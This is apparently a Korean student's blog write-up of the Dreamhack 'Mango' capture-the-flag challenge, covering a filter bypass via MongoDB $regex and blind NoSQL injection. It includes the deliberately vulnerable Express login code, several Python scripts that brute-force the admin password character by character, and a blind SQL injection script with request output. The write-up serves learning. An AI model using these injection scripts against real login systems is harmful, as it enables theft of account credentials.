Description
이 문제는 데이터베이스에 저장된 플래그를 획득하는 문제입니다.
플래그는 admin 계정의 비밀번호 입니다.
플래그의 형식은 DH{…} 입니다.
{‘uid’: ‘admin’, ‘upw’: ‘DH{32alphanumeric}’}
문제 파일
package.json
{
"name": "Web-C",
"version": "1.0.0",
"description": "Web-C",
"main": "main.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"dependencies": {
"express": "^4.17.1",
"express-session": "^1.17.0",
"mongoose": "^5.10.4"
}
}
main.js
const express = require('express');
const app = express();
const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
app.get('/', function(req, res) {
res.send('/login?uid=guest&upw=guest');
});
app.listen(8000, '0.0.0.0');
코드 분석
/login 페이지
app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
- 필터링에 걸리면 filter 출력 후 return
- user 컬렉션에서 findOne으로 검색
- err 면 err 출력
- 조회 성공 시, 즉 result 가 참이면 result 의 uid 출력
- result 가 거짓이면 undifined 출력
/ 페이지 (기본으로 뜨는)
app.get('/', function(req, res) {
res.send('/login?uid=guest&upw=guest');
});
/login?uid=guest&upw=guest 출력
실습
문제 링크를 열면 바로 보이는 페이지
url 창으로 login 페이지를 열고 uid 와 upw 에 guest 를 입력하면 guest 가 페이지에 나온다
admin 으로 로그인하면 필터링에 걸린다.
admin의 비밀번호를 찾기 위해
blind NoSQL 기법으로 풀어야 한다.
filter 우회
filter함수가 특정 문자열을 필터링할 때, 정규표현식에서 임의 문자를 의미하는 .을 이용하여 쉽게 우회할 수 있다.
만약 'admin', 'dh', 'admi'가 포함된 이용자의 요청을 필터링한다면,
admin -> ad.in
DH -> D.
이런 식으로 우회한다.
http://host1.dreamhack.games:13698/login?uid[$regex]=ad.in&upw[$regex]=D.{*
http://host1.dreamhack.games:24537/login?uid[$regex]=ad.in&upw[$regex]=D.{{flag}{'a'}}
이렇게 입력하면 undefined 가 나온다.
한 글자씩 비교하려면 여러 번 쿼리를 전달해야 돼서 시간이 많이 들고 귀찮기 때문에,
익스플로잇 스크립트(코드)를 직접 짜야 한다.
아래는 연습 문제의 익스플로잇이다.
분석하면서 공부하고 어떻게 짜는지 익혀보자
Exploit Code 작성
import requests, string
HOST = 'http://localhost'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'
flag = ''
for i in range(32):
for ch in ALPHANUMERIC:
response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
if response.text == SUCCESS:
flag += ch
break
print(f'FLAG: DH{{{flag}}}')
for 문에서 비밀번호로 입력될 수 있는 문자들을 모두 비교할 것이다.
http://localhost/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch} 쿼리를
서버에(아마도 localhost) 여러 번 요청하게 되고
비교해서 ch 가 맞을 때 uid 인 admin 을 반환하게 된다.
즉, admin 을 반환하는 ch 를 모두 모은 것이 flag 이다.
이 반복문이 끝나면 FLAG: DH{플래그} 가 출력된다
근데 이 익스플로잇 코드를 어디에다 삽입해야 하는지 잘 모르겠다.
=> 그냥 vsc에서 파이썬 코드 실행하면 된다고 한다
문제 댓글을 보니까, 파이썬 스크립트를 작성할 줄 알아야 한다고 한다.
아래는 시행착오(라고 부르고 헛다리 짚는 과정)라서 건너뛰어도 됨
PyMongo 를 이용하여 마이그레이션 스크립트 작성하기 (1)
최근 회사에 데이터 분석 툴을 도입하게 되면서 각 서버마다 데이터 수집을 위한 세팅을 진행하였다. 나는 그 중 작은 서버를 담당하게 되어 며칠 안에 금방 처리할 수 있을 줄 알았는데 … 데이
velog.io
PyMongo 시작하기
1. pip (Python 패키지를 설치하고 관리하는 패키지 매니저) 설치
cmd 창에 pip 를 입력하면 pip 설치 여부를 알 수 있다.
난 이미 설치 돼있었다.(언제 설치했지??)
혹시 모르니 pip 업데이트도 했다

2. pip 를 이용하여 pymongo 설치
$ python -m pip install pymongo
$ 저 앞에 있는 거 명령어 라는 뜻인데
까먹고 멍청하게 이걸 인터프리터에다가 넣었다...
진심 컴공 자격 박탈

스크립트에서 pymongo 를 import 한 후 DB 와 연결해주면 끝! 바로 원하는 쿼리를 작성해주면 된다.
라는데 ㅇ이게 뭔말이지?
이제 어케 해야될까...........................
일단 스크립트 작성법부터 제대로 모른다
SQL 인젝션부터 다시 복습 ㄱㄱ
Blind SQL Injection 공격 스크립트
#!/usr/bin/python3
import requests
import string
# example URL
url = 'http://example.com/login'
params = {
'uid': '',
'upw': ''
}
# abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~
tc = string.ascii_letters + string.digits + string.punctuation
# 사용할 SQL Injection 쿼리
query = '''
admin' and ascii(substr(upw,{idx},1))={val}--
'''
password = ''
# 비밀번호 길이는 20자 이하라 가정
for idx in range(0, 20):
for ch in tc:
# query를 이용하여 Blind SQL Injection 시도
params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n")
c = requests.get(url, params=params)
print(c.request.url)
# 응답에 Login success 문자열이 있으면 해당 문자를 password 변수에 저장
if c.text.find("Login success") != -1:
password += chr(ch)
break
print(f"Password is {password}")
비밀번호에 포함될 수 있는 문자를 string 모듈을 사용해 생성하고, 한 바이트씩 모든 문자를 비교하는 반복문을 작성합니다. 반복문 실행 중에 반환 결과가 참일 경우에 페이지에 표시되는 "Login success" 문자열을 찾고, 해당 결과를 반환한 문자를 password 변수에 저장합니다. 반복문을 마치면 "admin" 계정의 비밀번호를 알아낼 수 있습니다.
예제 코드의 실행 결과
$ python3 bsqli.py
http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D97--&upw=
http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D98--&upw=
http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D99--&upw=
http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D100--&upw=
http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D101--&upw=
http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D102--&upw=
아하!!!!!!!!!!
$ python3 bsqli.py
를 보아하니................. cmd 에다가 bsqli.py 라는 스크립트를 실행시키는 것 같당
난또 어디서 실행시켜야 할지 막막햇다능
근데 이제 생각하니까 pymongo 연결하는 건 헛다리 짚은 것 같다.
그냥 일단 스크립트부터 대충 작성해보자.
연습문제 스크립트를 수정해보자..
import requests, string
HOST = 'http://host1.dreamhack.games:24537/'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'
flag = ''
for i in range(32):
for ch in ALPHANUMERIC:
response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
if response.text == SUCCESS:
flag += ch
break
print(f'FLAG: DH{{{flag}}}')
사실 수정한 거라곤 HOST 밖에 없음
ChatGPT 까지 동원해봄
이 코드는 파이썬으로 작성된 스크립트입니다. 이 코드는 웹 서버에 HTTP 요청을 보내고 응답을 분석하여 브루트 포스(Brute Force) 공격을 시도하는 스크립트입니다.
스크립트의 기능은 다음과 같습니다:
1. requests 모듈을 사용하여 HTTP 요청을 보낼 수 있도록 import 합니다.
2. HOST 변수에 웹 서버의 주소를 설정합니다.
3. ALPHANUMERIC 변수에 숫자와 알파벳 문자를 포함한 모든 문자열을 설정합니다.
4. SUCCESS 변수에 'admin' 문자열을 설정합니다. 웹 서버가 'admin' 문자열을 반환하면 브루트 포스가 성공적으로 끝난 것으로 가정합니다.
5. 빈 문자열인 flag 변수를 초기화합니다.
6. 반복문을 사용하여 32자리의 문자열을 찾습니다. 각 반복마다 ALPHANUMERIC 문자열에 있는 문자를 하나씩 시도합니다.
7. 시도한 문자열을 사용하여 requests.get() 함수를 호출하여 웹 서버에 요청을 보냅니다.
8. 웹 서버의 응답을 확인하여 SUCCESS와 일치하면 flag 변수에 해당 문자를 추가합니다.
9. 찾은 문자열을 출력합니다.
ㅇㅋㅇㅋ
1트
C:\Users\gram>python bnosqli.py
Traceback (most recent call last):
File "C:\Users\gram\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\site-packages\urllib3\connection.py", line 174, in _new_conn
conn = connection.create_connection(
File "C:\Users\gram\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\site-packages\urllib3\util\connection.py", line 95, in create_connection
raise err
File "C:\Users\gram\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\site-packages\urllib3\util\connection.py", line 85, in create_connection
sock.connect(sa)
ConnectionRefusedError: [WinError 10061] 대상 컴퓨터에서 연결을 거부했으므로 연결하지 못했습니다
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "C:\Users\gram\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\site-packages\urllib3\connectionpool.py", line 703, in urlopen
httplib_response = self._make_request(
File "C:\Users\gram\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\site-packages\urllib3\connectionpool.py", line 398, in _make_request
conn.request(method, url, **httplib_request_kw)
File "C:\Users\gram\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\site-packages\urllib3\connection.py", line 244, in request
super(HTTPConnection, self).request(method, url, body=body, headers=headers)
File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.10_3.10.3056.0_x64__qbz5n2kfra8p0\lib\http\client.py", line 1283, in request
self._send_request(method, url, body, headers, encode_chunked)
File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.10_3.10.3056.0_x64__qbz5n2kfra8p0\lib\http\client.py", line 1329, in _send_request
self.endheaders(body, encode_chunked=encode_chunked)
File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.10_3.10.3056.0_x64__qbz5n2kfra8p0\lib\http\client.py", line 1278, in endheaders
self._send_output(message_body, encode_chunked=encode_chunked)
File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.10_3.10.3056.0_x64__qbz5n2kfra8p0\lib\http\client.py", line 1038, in _send_output
self.send(msg)
File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.10_3.10.3056.0_x64__qbz5n2kfra8p0\lib\http\client.py", line 976, in send
self.connect()
File "C:\Users\gram\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\site-packages\urllib3\connection.py", line 205, in connect
conn = self._new_conn()
File "C:\Users\gram\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\site-packages\urllib3\connection.py", line 186, in _new_conn
raise NewConnectionError(
urllib3.exceptions.NewConnectionError: <urllib3.connection.HTTPConnection object at 0x0000022BBEE85600>: Failed to establish a new connection: [WinError 10061] 대상 컴퓨터에서 연결을 거부했으므로 연결하지 못했습니다
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "C:\Users\gram\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\site-packages\requests\adapters.py", line 489, in send
resp = conn.urlopen(
File "C:\Users\gram\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\site-packages\urllib3\connectionpool.py", line 787, in urlopen
retries = retries.increment(
File "C:\Users\gram\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\site-packages\urllib3\util\retry.py", line 592, in increment
raise MaxRetryError(_pool, url, error or ResponseError(cause))
urllib3.exceptions.MaxRetryError: HTTPConnectionPool(host='host1.dreamhack.games', port=24537): Max retries exceeded with url: //login?uid%5B$regex%5D=ad.in&upw%5B$regex%5D=D.%7B0 (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x0000022BBEE85600>: Failed to establish a new connection: [WinError 10061] 대상 컴퓨터에서 연결을 거부 했으므로 연결하지 못했습니다'))
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "C:\Users\gram\bnosqli.py", line 8, in <module>
response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
File "C:\Users\gram\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\site-packages\requests\api.py", line 73, in get
return request("get", url, params=params, **kwargs)
File "C:\Users\gram\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\site-packages\requests\api.py", line 59, in request
return session.request(method=method, url=url, **kwargs)
File "C:\Users\gram\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\site-packages\requests\sessions.py", line 587, in request
resp = self.send(prep, **send_kwargs)
File "C:\Users\gram\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\site-packages\requests\sessions.py", line 701, in send
r = adapter.send(request, **kwargs)
File "C:\Users\gram\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\site-packages\requests\adapters.py", line 565, in send
raise ConnectionError(e, request=request)
requests.exceptions.ConnectionError: HTTPConnectionPool(host='host1.dreamhack.games', port=24537): Max retries exceeded with url: //login?uid%5B$regex%5D=ad.in&upw%5B$regex%5D=D.%7B0 (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x0000022BBEE85600>: Failed to establish a new connection: [WinError 10061] 대상 컴퓨터에서 연결을 거부했으므로 연결하지 못했습니다'))
서버 열려있는데 왜 안돌아가죠,,,,,,,,,,
아놔 나 혼자서 절대 못풀거같다
https://mokpo.tistory.com/127?category=478181
[dreamhack] Mango 문제풀이
[WEB] Mango 문제풀이 NoSQL은 SQL을 사용해 데이터를 조회/추가/삭제하는 관계형 데이터베이스(RDBMS)와 달리 SQL을 사용하지 않으며, 이에 따라 RDBMS와는 달리 복잡하지 않은 데이터를 다루는 것이 큰
mokpo.tistory.com
ㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠ
비번 길이 먼저 획득했어야 됐네
1. 비번 길이 획득하는 스크립트
import requests
for i in range(50):
response=requests.get("http://host1.dreamhack.games:11943/login?uid[$regex]=.{5}&upw[$regex]=.{"+str(i)+"}")
print("PW 길이:"+str(i)+", 결과:"+str(response.content))
실행결과
/gram/AppData/Local/Microsoft/WindowsApps/python3.10.exe c:/Users/gram/Downloads/9ceed629-1183-4107-85e0-67c531e9196e/test.py
PW 길이:0, 결과:b'guest'
PW 길이:1, 결과:b'guest'
PW 길이:2, 결과:b'guest'
PW 길이:3, 결과:b'guest'
PW 길이:4, 결과:b'guest'
PW 길이:5, 결과:b'guest'
PW 길이:6, 결과:b'dreamhack'
PW 길이:7, 결과:b'dreamhack'
PW 길이:8, 결과:b'dreamhack'
PW 길이:9, 결과:b'dreamhack'
PW 길이:10, 결과:b'admin'
PW 길이:11, 결과:b'admin'
PW 길이:12, 결과:b'admin'
PW 길이:13, 결과:b'admin'
PW 길이:14, 결과:b'admin'
PW 길이:15, 결과:b'admin'
PW 길이:16, 결과:b'admin'
PW 길이:17, 결과:b'admin'
PW 길이:18, 결과:b'admin'
PW 길이:19, 결과:b'admin'
PW 길이:20, 결과:b'admin'
PW 길이:21, 결과:b'admin'
PW 길이:22, 결과:b'admin'
PW 길이:23, 결과:b'admin'
PW 길이:24, 결과:b'admin'
PW 길이:25, 결과:b'admin'
PW 길이:26, 결과:b'admin'
PW 길이:27, 결과:b'admin'
PW 길이:28, 결과:b'admin'
PW 길이:29, 결과:b'admin'
PW 길이:30, 결과:b'admin'
PW 길이:31, 결과:b'admin'
PW 길이:32, 결과:b'admin'
PW 길이:33, 결과:b'admin'
PW 길이:34, 결과:b'admin'
PW 길이:35, 결과:b'admin'
PW 길이:36, 결과:b'admin'
PW 길이:37, 결과:b'undefined'
PW 길이:38, 결과:b'undefined'
PW 길이:39, 결과:b'undefined'
PW 길이:40, 결과:b'undefined'
PW 길이:41, 결과:b'undefined'
PW 길이:42, 결과:b'undefined'
PW 길이:43, 결과:b'undefined'
PW 길이:44, 결과:b'undefined'
PW 길이:45, 결과:b'undefined'
PW 길이:46, 결과:b'undefined'
PW 길이:47, 결과:b'undefined'
PW 길이:48, 결과:b'undefined'
PW 길이:49, 결과:b'undefined'
id의 길이가 5글자 일때,
pw 길이가 0~5까지의 결과는 guest
pw 길이가 6~9일 때의 결과는 dreamhack
pw 길이가 10~36일 때의 결과는 admin
그 이상일 경우 결과는 undefined
즉 비번 길이는 10~36다.
플래그 형식이 DH{ flag } 이니까
플래그 길이는 32 이다.
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
알고보니 문제 코드에 주석으로 힌트가 있었다
2. 플래그 획득 스크립트
import requests
import string
list=['0','1','2','3','4','5','6','7','8','9']+list(string.ascii_lowercase)+list(string.ascii_uppercase);
url="http://host1.dreamhack.games:23126/login?uid[$regex]=.{5}&upw[$regex]=";
passwd=".{2}{"
for i in range(32):
for j in range(len(list)):
response=requests.get(url+passwd+list[j]+".{"+str(32-i)+"}")
if 'admin' in response.text:
passwd+=list[j]
break;
print(passwd+"}")
list 에 비밀번호에 들어갈 수 있는 문자들을 넣고
url 에는 나의 서버 http://host1.dreamhack.games:23126/ 에 쿼리문을 넣는다
이 사람은 admin 이 5글자니까 .{5} 로 필터링하고, passwd 는 DH{{flag}} 형태라서 DH를 .{2}로 필터링 한 것 같다
DH 뒤에 오는 flag는 for문을 통해 문자를 하나씩 얻어온다
for문을 통해 스무고개 게임을 하는 것처럼 request.get 으로 문자가 참인지 질의하는 쿼리를 보낸다.
정리해보자면,
request.get을 했을 때
admin이 return 되게 하는 문자를
passwd에 차곡차곡 저장하는 것이다
.{"+str(32-i)+"} 이부분 이해 안가서 chat GPT 물어봄
물론! 해당 코드에서 .{"+str(32-i)+"} 부분을 설명해드리겠습니다.
이 코드는 블라인드 NoSQL 인젝션(Blind NoSQL Injection) 공격을 수행하여
플래그를 얻기 위한 파이썬 스크립트입니다. 아래 부분을 자세히 설명하겠습니다:
.: MongoDB 정규식 쿼리에서 .은 와일드카드 문자를 나타냅니다.
이 문자는 쿼리 대상 필드에서 어떤 문자든 하나와 일치합니다.
{"+str(32-i)+"}를 단계별로 설명하겠습니다.
i: 변수 i는 현재 반복문의 반복 횟수를 나타냅니다. 0부터 시작하여 31까지 총 32번 반복합니다.
32-i: 이 부분은 passwd를 완전한 32자로 만들기 위해 필요한 나머지 문자의 수를 계산합니다.
반복문이 진행됨에 따라 i가 증가하고, 32-i가 감소하면서
페이로드는 오른쪽에서 왼쪽으로 문자를 검색하게 됩니다.
str(32-i): str() 함수는 32-i의 정수 값을 문자열로 변환합니다.
왜냐하면 이 값을 문자열과 연결해야 하기 때문입니다.
그래서 .{"+str(32-i)+"} 표현식은 MongoDB 정규식 쿼리를 생성합니다.
이 쿼리는 오른쪽에서 왼쪽으로 검색하며, 임의의 문자가 따라오고,
그 뒤에는 와일드카드 문자가 특정한 개수만큼 나오는 경우를 찾습니다.
와일드카드 문자의 개수는 반복문의 현재 반복 횟수에 따라 달라집니다.
요약하면 .{"+str(32-i)+"} 부분은 MongoDB 정규식 쿼리를 구성하여,
현재 반복 횟수에 따라 변화하는 와일드카드 문자의 개수를 사용해
블라인드 NoSQL 인젝션 공격을 통해 passwd 변수를 하나씩 문자를 추가해 나가는 것입니다.
이를 통해 스크립트는 점진적으로 passwd를 구축하고, 플래그를 얻을 수 있게 됩니다.
요약
. 가 정규식에서 와일드 카드이고, 아무(any) 문자를 나타내는 것이다.
그리고 .{5} 는 어떤 글자가 5글자 라는 것을 나타냄
플래그는 32글자니까 저 .{"+str(32-i)+"} 이 표현식을 통해 반복문을 돌며 정규식을 생성한다
list[j] 문자를 하나 획득할 때마다 와일드카드의 글자수를 하나씩 빼는 것!!!
신기하당....
너무 복붙해서 풀면 좀 그러니까 재구성해보기
import requests, string
list = string.digits + string.ascii_letters
HOST = 'http://host3.dreamhack.games:11240'
url = '/login?uid[$regex]=ad.in&upw[$regex]='
SUCCESS = 'admin'
flag = ''
print("비밀번호 찾기 시작\n");
for i in range(32):
for ch in list:
# f-string 사용하여 변수를 문자열로 포맷팅
response = requests.get(f'{HOST}{url}D.{{{flag}{ch}.{32-i}}}')
if response.text == SUCCESS:
flag += ch
break
print(f'FLAG: DH{{{flag}}}')
위 코드가 + 로 문자열 만들었다면 나는 fstring을 사용해서 좀더 깔끔?하게 만들어 보려햇으나
내가 정규식을 어케 쓰는지 잘몰라서 결과가 안나온당
일단 포기...
더 알아본 점
스크립트를 쓰면서 정규식을 사용하는 게 어려웠다.
사실 정규식이 뭔지도 모르고 regex 를 썼는데
이 블로그를 보고 메타문자가 뭔지 정규식을 왜 쓰는지 알게 되었다.
https://bigdatamaster.tistory.com/173
정규식이란? Regular Expression? regex?
내용 정규식, 정규 표현식 이란 무엇일까요? : 정의와 개념을 이해합니다. 패턴 정의 문법 : 정규식을 사용하기 위해 필요한 문법을 배웁니다. 정규식 활용 방법 예시 (in Python 파이썬에서) : 실제
bigdatamaster.tistory.com
'KERT > WarGame' 카테고리의 다른 글
[dreamhack] 파일 취약점 (image-storage, file-download-1) (0) | 2023.08.27 |
---|---|
[dreamhack] simple_sqli 문제 풀이 (0) | 2023.07.26 |
[dreamhack] Exercise: SQL Injection (0) | 2023.07.21 |
[dreamhack] Exercise: CSRF (0) | 2023.07.17 |
[dreamHack] xss-1, xss-2 (0) | 2023.07.17 |